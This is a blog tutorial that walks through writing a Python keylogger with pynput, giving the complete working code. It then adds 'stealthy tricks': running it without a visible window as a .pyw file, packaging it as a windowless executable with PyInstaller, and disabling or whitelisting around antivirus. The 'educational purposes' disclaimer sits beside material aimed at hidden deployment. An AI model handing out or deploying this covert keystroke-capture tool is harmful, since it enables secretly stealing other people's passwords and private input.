One of the basic tools in a hacker's toolbox is a keylogger and we are going to see how we can implement a basic keylogger in Python in under ten lines of code and fully explained.
🔹 What is keylogging?
Keystroke-logging is the process of recording (logging) the keys pressed on a keyboard (usually when the user is unaware). It is also known as keylogging or keyboard capturing.
🔹 Use-cases
These programs are used for troubleshooting technical problems with computers and business networks. It can also be used to monitor network usage but more often than not it is used for malicious intentions like stealing passwords.
A hacker (or a script kiddie) uses this for unethical purposes but this article is intended for educational purposes only.
🔹 How?
To build a keylogger we need a way to keep track of every key pressed on a keyboard, there are a couple of libraries in python for doing that ranging from;
📌 keyboard
.
📌 PyUserInput
.
📌 pynput
.
PyUserInput
is a little bit outdated and may not help you so much. I would recommend keyboard
or pynput
.
🔹 The Code
In this article, we are going to focus on pynput
because it is effective but will also later leave resources for other available methods.
We shall use two major libraries;
⭐ pynput
:
This library allows you to control and monitor input devices. It contains subpackages for each type of input device supported
⭐ logging
:
This module defines functions and classes which implement a flexible event logging system for applications and libraries and we shall log our messages in a text file with time stamps.
Go ahead and pip install pynput
. logging comes with the standard library.
from pynput.keyboard import Key, Listener
import logging
Now let's initialise our logging configuration
logging.basicConfig(filename=("keylogger.txt"),
level=logging.DEBUG,
format=" %(asctime)s - %(message)s")
In the above code ,we specified the filename where keystrokes will be recorded as keylogger.txt
followed by specifying the format in which the keystrokes will be stored, which in this case would be; YY-MM-DD HH-MM-SS(ms) - KEY
A DEBUG
level is a set of log levels for debug log categories.
Now let's define a function that will help us in logging
def on_press(key):
logging.info(str(key))
The above function basically takes an argument indicating the key
pressed by the user and logs it into the file after converting it into a string.
Let's finally listen every time the keyboard is pressed.
with Listener(on_press=on_press) as listener :
listener.join()
We created an instance of a Listener
class which would be recording keystrokes and pass the on_press
function we created as an argument. Then we use the .join()
method to join it to the main thread.
Thus every time a key is pressed, the listener
is triggered and it calls our function which then logs our keystrokes into the file.
So if you run the above code, for example, I called mine logger.py
.
run 💨py logger.py
Our full code;
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename=("keylogger.txt"),
level=logging.DEBUG,
format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener :
listener.join()
It will automatically create a keylogger.txt
file when ran and if you start typing, you get the output as;
If you have an antivirus, you may want to temporarily disable but the easiest way is to allow only this particular file we want to run.
You need to select allow advice
and start actions
from the above screenshot.
🔹 Stealthy Tricks
On Windows, you can simply rename the file extension from .py
to .pyw
and then double click on the file to run it without a terminal popping up. The program then runs in the background, logging every keypress henceforth.
You could also make it an executable instead of a py file by using pyinstaller
pip install pyinstaller
Now open your terminal and cd
into the root folder and type;
python -m PyInstaller --onefile -w logger.py
That will create a dist
folder with your exe
file that can be installed instead.
Another trick you could do to run in the background; simply cd
into the project directory and run
DISCLAIMER:
Again, this article is strictly for educational purposes only and I am not responsible for any damages and consequences! So use it at your own risk!
That's it! The full code is here 🚀🚀
🔹 Notes & Resources
📌 Debugging Log Levels - IBM Article
📌 Python official logging facility
📌 Python Logging Levels
📌 Ask-Python eylogger Article
🔹 Conclusion
Once again, hope you learned something today from my little closet.
Please consider subscribing or following me for related content, especially about Tech, Python & General Programming.
You can show extra love by buying me a coffee to support this free content and I am also open to partnerships, technical writing roles, collaborations and Python-related training or roles.